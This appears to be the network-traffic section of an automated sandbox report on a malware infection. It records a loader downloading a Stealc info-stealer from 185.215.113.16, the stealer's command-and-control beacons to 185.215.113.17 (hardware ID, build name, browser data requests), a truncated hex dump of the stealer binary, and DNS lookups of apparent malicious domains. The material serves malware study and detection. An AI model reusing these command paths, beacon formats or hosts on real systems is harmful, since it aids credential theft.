Dec 18, 2024 12:00:34.602515936 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.604515076 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.604608059 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.604635000 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.604654074 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.606636047 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.606678009 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.606688023 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.606789112 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.608906031 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.609002113 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.609049082 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.609108925 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.611007929 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.611062050 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.611107111 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.611140966 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.613085032 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.613136053 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.613136053 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.613168955 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.614968061 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.615005970 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.615046978 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.615077972 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.616811991 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.616849899 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:34.616888046 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:34.616930962 CET	49977	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 12:00:16.867695093 CET	192.168.2.6	1.1.1.1	0x3f6	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:02.461793900 CET	192.168.2.6	1.1.1.1	0xa469	Standard query (0)	energyaffai.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:07.310566902 CET	192.168.2.6	1.1.1.1	0x89c3	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:07.724010944 CET	192.168.2.6	1.1.1.1	0xc402	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:19.313438892 CET	192.168.2.6	1.1.1.1	0x75be	Standard query (0)	dare-curbys.biz	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:19.906755924 CET	192.168.2.6	1.1.1.1	0x5277	Standard query (0)	se-blurry.biz	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:20.213701010 CET	192.168.2.6	1.1.1.1	0x4946	Standard query (0)	zinc-sneark.biz	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:20.610635996 CET	192.168.2.6	1.1.1.1	0x36d8	Standard query (0)	dwell-exclaim.biz	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:20.839874029 CET	192.168.2.6	1.1.1.1	0x7d13	Standard query (0)	formy-spill.biz	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:21.065005064 CET	192.168.2.6	1.1.1.1	0x5b99	Standard query (0)	covery-mover.biz	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:21.297885895 CET	192.168.2.6	1.1.1.1	0xbd59	Standard query (0)	print-vexer.biz	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:21.613549948 CET	192.168.2.6	1.1.1.1	0xd029	Standard query (0)	impend-differ.biz	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:21.740206957 CET	192.168.2.6	1.1.1.1	0x8418	Standard query (0)	restores.name	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:21.835496902 CET	192.168.2.6	1.1.1.1	0x8cb2	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:24.375246048 CET	192.168.2.6	1.1.1.1	0xf5a5	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 11:58:45.292633057 CET	1.1.1.1	192.168.2.6	0x86a	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 11:58:45.292633057 CET	1.1.1.1	192.168.2.6	0x86a	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:00:17.122366905 CET	1.1.1.1	192.168.2.6	0x3f6	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:00:17.122366905 CET	1.1.1.1	192.168.2.6	0x3f6	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:02.781286001 CET	1.1.1.1	192.168.2.6	0xa469	No error (0)	energyaffai.lat		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:02.781286001 CET	1.1.1.1	192.168.2.6	0xa469	No error (0)	energyaffai.lat		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:02.781286001 CET	1.1.1.1	192.168.2.6	0xa469	No error (0)	energyaffai.lat		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:02.781286001 CET	1.1.1.1	192.168.2.6	0xa469	No error (0)	energyaffai.lat		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:02.781286001 CET	1.1.1.1	192.168.2.6	0xa469	No error (0)	energyaffai.lat		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:02.781286001 CET	1.1.1.1	192.168.2.6	0xa469	No error (0)	energyaffai.lat		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:02.781286001 CET	1.1.1.1	192.168.2.6	0xa469	No error (0)	energyaffai.lat		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:07.453689098 CET	1.1.1.1	192.168.2.6	0x89c3	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:07.880816936 CET	1.1.1.1	192.168.2.6	0xc402	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:19.892452955 CET	1.1.1.1	192.168.2.6	0x75be	Name error (3)	dare-curbys.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:20.156486988 CET	1.1.1.1	192.168.2.6	0x5277	Name error (3)	se-blurry.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:20.607109070 CET	1.1.1.1	192.168.2.6	0x4946	Name error (3)	zinc-sneark.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:20.836106062 CET	1.1.1.1	192.168.2.6	0x36d8	Name error (3)	dwell-exclaim.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:21.056308031 CET	1.1.1.1	192.168.2.6	0x7d13	Name error (3)	formy-spill.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:21.294585943 CET	1.1.1.1	192.168.2.6	0x5b99	Name error (3)	covery-mover.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:21.610301018 CET	1.1.1.1	192.168.2.6	0xbd59	Name error (3)	print-vexer.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:21.830305099 CET	1.1.1.1	192.168.2.6	0xd029	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:21.979058027 CET	1.1.1.1	192.168.2.6	0x8cb2	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:22.413423061 CET	1.1.1.1	192.168.2.6	0x8418	No error (0)	restores.name		135.181.65.219	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:24.527394056 CET	1.1.1.1	192.168.2.6	0xf5a5	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:01:24.527394056 CET	1.1.1.1	192.168.2.6	0xf5a5	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49902	185.215.113.16	80	7416	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:03.885093927 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 12:00:05.225301981 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 18, 2024 12:00:05.227772951 CET	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 37 34 31 43 41 46 39 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA741CAF9FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Dec 18, 2024 12:00:05.990354061 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 33 33 0d 0a 20 3c 63 3e 31 30 30 30 30 36 36 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 33 30 65 38 66 38 66 62 62 66 34 39 35 34 65 61 65 31 36 30 37 32 36 37 64 33 36 61 63 31 31 34 64 39 61 31 36 63 23 31 30 30 31 35 32 37 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 32 66 66 39 66 61 65 39 66 64 34 66 37 33 65 62 23 31 30 30 33 30 31 33 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 37 64 62 33 34 62 65 61 31 61 36 63 36 32 36 65 62 62 33 66 66 61 62 34 66 23 31 30 30 34 38 39 39 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 38 62 61 38 62 39 66 63 [TRUNCATED] Data Ascii: 433 <c>1000066001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a730e8f8fbbf4954eae1607267d36ac114d9a16c#1001527001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a72ff9fae9fd4f73eb#1003013001+++aa0ed36554e19fbffd5744f69c5867ee8214f817db34bea1a6c626ebb3ffab4f#1004899001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db348ba8b9fc6cfdf0a8e31325ebfc63#1005242001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a735c3f9f5bf4d25ebfc63#1006252001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a731f3fff6bc5225ebfc63#1006343001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a724f3f1feb74e6fbfb6353d77c77b#1006591001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a730f5f3eea5046ef6e1#1007054001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a737eee8f4b8046ef6e1#1007186001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0bebeed22f1b2e8b2446fe1e928766ada#1007187001+++aa0ed36554e19fbdf44c5ef5835f7deb9d16e70b8b7293a8b9a736f2f4eba64f38a1f6677d76d073dd5fc4bc#1007188001+++e312d3611ef4 [TRUNCATED]
Dec 18, 2024 12:00:05.990406990 CET	30	IN	Data Raw: 66 66 62 62 64 34 65 36 34 65 33 61 61 36 33 36 62 37 37 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: ffbbd4e64e3aa636b77#<d>0
Dec 18, 2024 12:00:05.992435932 CET	63	OUT	GET /inc/stealc_default2.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 12:00:06.433537960 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 11:00:05 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Thu, 10 Oct 2024 11:31:17 GMT Connection: keep-alive ETag: "6707bb05-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4b b9 07 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELKg$i@&@@<%$.text .rdata@@.data#@.relocE%F@B
Dec 18, 2024 12:00:06.433655024 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh
Dec 18, 2024 12:00:06.433686972 CET	1236	IN	Data Raw: 30 00 00 68 c0 41 c8 17 6a 00 ff 15 28 a8 64 00 89 45 fc 50 83 f8 11 74 05 8b c0 fc 85 c9 0b c0 f8 58 83 7d fc 00 74 2c 90 8a c0 68 c0 9e e6 05 8b 45 fc 50 e8 ae 78 01 00 53 8a c9 8a c9 fc 5b 68 00 80 00 00 68 c0 41 c8 17 8b 4d fc 51 ff 15 68 a7 Data Ascii: 0hAj(dEPtX}t,hEPxS[hhAMQhd[]UQEjj@h0hjdPdE}ujdR]U(EPxdMM}sjd]U@dPBg
Dec 18, 2024 12:00:06.433948040 CET	1236	IN	Data Raw: 30 e8 7d 92 01 00 8b 4d fc e8 d5 4f 01 00 8b e5 5d c3 cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 cd 00 00 00 8b 4d 08 83 c1 30 51 8b 4d fc 83 c1 30 e8 eb 91 01 00 8b 55 08 83 c2 3c 52 8b 4d fc 83 c1 3c e8 d9 91 01 00 8b 45 08 83 c0 48 50 8b Data Ascii: 0}MO]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|=E]
Dec 18, 2024 12:00:06.433984041 CET	1236	IN	Data Raw: 8d 8d 78 fd ff ff e8 a4 8d 01 00 8d 8d 84 fd ff ff e8 99 8d 01 00 8d 8d 90 fd ff ff e8 8e 8d 01 00 8d 8d 9c fd ff ff e8 83 8d 01 00 8d 8d a8 fd ff ff e8 78 8d 01 00 8d 8d b4 fd ff ff e8 6d 8d 01 00 e9 a6 00 00 00 8d 95 cc fe ff ff 52 8d 85 30 fd Data Ascii: xxmR0PhdVB<QURHPhUBTQUR`PA3P0<HT`
Dec 18, 2024 12:00:06.434016943 CET	1236	IN	Data Raw: 01 00 e8 a4 f7 ff ff 81 c4 b4 00 00 00 e9 58 ff ff ff 81 ec 88 00 00 00 8b cc 8d 55 08 52 e8 48 f6 ff ff e8 c3 f3 ff ff 81 c4 88 00 00 00 8d 4d 08 e8 f5 f5 ff ff 8b e5 5d c3 cc 55 8b ec 8b 45 08 a3 90 a9 64 00 8b 0d 90 a9 64 00 c7 01 01 00 00 00 Data Ascii: XURHM]UEddUdPdAdBd]U}t#E8tMQ;U\|EEHME]UE3tUUE]
Dec 18, 2024 12:00:06.434036970 CET	1236	IN	Data Raw: 00 68 18 1d 42 00 e8 bc 21 00 00 83 c4 0c a3 bc a3 64 00 6a 09 68 28 1d 42 00 68 34 1d 42 00 e8 a3 21 00 00 83 c4 0c a3 e8 a2 64 00 6a 10 68 40 1d 42 00 68 54 1d 42 00 e8 8a 21 00 00 83 c4 0c a3 0c a6 64 00 6a 08 68 68 1d 42 00 68 74 1d 42 00 e8 Data Ascii: hB!djh(Bh4B!djh@BhTB!djhhBhtBq!djhBhBX!djhBhB?!$djhBhB&!djhBhB!4djhBhB djh(Bh8B ,d
Dec 18, 2024 12:00:06.434710026 CET	1236	IN	Data Raw: 21 42 00 68 f8 21 42 00 e8 e6 1c 00 00 83 c4 0c a3 c8 a1 64 00 6a 0c 68 08 22 42 00 68 18 22 42 00 e8 cd 1c 00 00 83 c4 0c a3 10 a2 64 00 6a 0b 68 28 22 42 00 68 34 22 42 00 e8 b4 1c 00 00 83 c4 0c a3 24 a3 64 00 6a 16 68 40 22 42 00 68 58 22 42 Data Ascii: !Bh!Bdjh"Bh"Bdjh("Bh4"B$djh@"BhX"Bdjhp"Bh"Bdjh"Bh"Bidjh"Bh"BP8djh#Bh#B7djh #Bh0#Bdjh@#Bh\#B
Dec 18, 2024 12:00:06.441991091 CET	1236	IN	Data Raw: 00 00 83 c4 0c a3 74 a2 64 00 6a 1b 68 70 28 42 00 68 8c 28 42 00 e8 04 18 00 00 83 c4 0c a3 d4 a2 64 00 6a 0e 68 a8 28 42 00 68 b8 28 42 00 e8 eb 17 00 00 83 c4 0c a3 9c a1 64 00 6a 0f 68 c8 28 42 00 68 d8 28 42 00 e8 d2 17 00 00 83 c4 0c a3 3c Data Ascii: tdjhp(Bh(Bdjh(Bh(Bdjh(Bh(B<djh(Bh)B,djh)Bh,)BDdjh@)BhL)B$djhX)Bhp)Bndjh)Bh)BUdjh)Bh)B<djh)Bh
Dec 18, 2024 12:00:06.442126036 CET	1236	IN	Data Raw: 13 68 78 2f 42 00 68 8c 2f 42 00 e8 3b 13 00 00 83 c4 0c a3 c4 a5 64 00 6a 09 68 a0 2f 42 00 68 ac 2f 42 00 e8 22 13 00 00 83 c4 0c a3 00 a1 64 00 6a 0c 68 b8 2f 42 00 68 c8 2f 42 00 e8 09 13 00 00 83 c4 0c a3 f8 a0 64 00 6a 0c 68 d8 2f 42 00 68 Data Ascii: hx/Bh/B;djh/Bh/B"djh/Bh/Bdjh/Bh/B0djh/Bh0BHdjh 0Bh00Bdjh@0BhT0Bdjhh0Bh\|0Bdjh0Bh0BsTdjh0Bh0BZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49913	185.215.113.17	80	5012	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 12:00:07.985229015 CET	89	OUT	GET / HTTP/1.1 Host: 185.215.113.17 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 12:00:09.326524973 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 12:00:09.474889994 CET	424	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFBFBGHDGDAKECAKJE Host: 185.215.113.17 Content-Length: 223 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 43 30 31 38 33 44 45 38 46 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 5f 76 61 6c 65 6e 63 69 67 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 2d 2d 0d 0a Data Ascii: ------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="hwid"1C0183DE8F39786254513------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="build"default_valenciga------CGCFBFBGHDGDAKECAKJE--
Dec 18, 2024 12:00:13.465128899 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 54 63 79 4f 54 68 69 4e 6a 5a 6d 4f 54 4e 68 5a 44 42 6b 4f 54 67 79 4d 32 49 79 4e 54 59 78 4e 44 63 77 4f 57 49 31 4e 54 51 30 59 6d 45 78 4d 44 4d 77 4d 44 59 33 4e 44 59 79 5a 47 59 78 59 6d 4a 6d 4d 7a 67 33 5a 54 49 30 5a 6a 45 79 4e 6a 64 69 4e 7a 6b 32 5a 6a 56 6a 59 32 4a 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NTcyOThiNjZmOTNhZDBkOTgyM2IyNTYxNDcwOWI1NTQ0YmExMDMwMDY3NDYyZGYxYmJmMzg3ZTI0ZjEyNjdiNzk2ZjVjY2JmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 18, 2024 12:00:13.466605902 CET	469	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJ Host: 185.215.113.17 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 37 32 39 38 62 36 36 66 39 33 61 64 30 64 39 38 32 33 62 32 35 36 31 34 37 30 39 62 35 35 34 34 62 61 31 30 33 30 30 36 37 34 36 32 64 66 31 62 62 66 33 38 37 65 32 34 66 31 32 36 37 62 37 39 36 66 35 63 63 62 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="token"57298b66f93ad0d9823b25614709b5544ba1030067462df1bbf387e24f1267b796f5ccbf------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="message"browsers------KKKJEBAAECBGDHIECAKJ--
Dec 18, 2024 12:00:13.928318024 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: 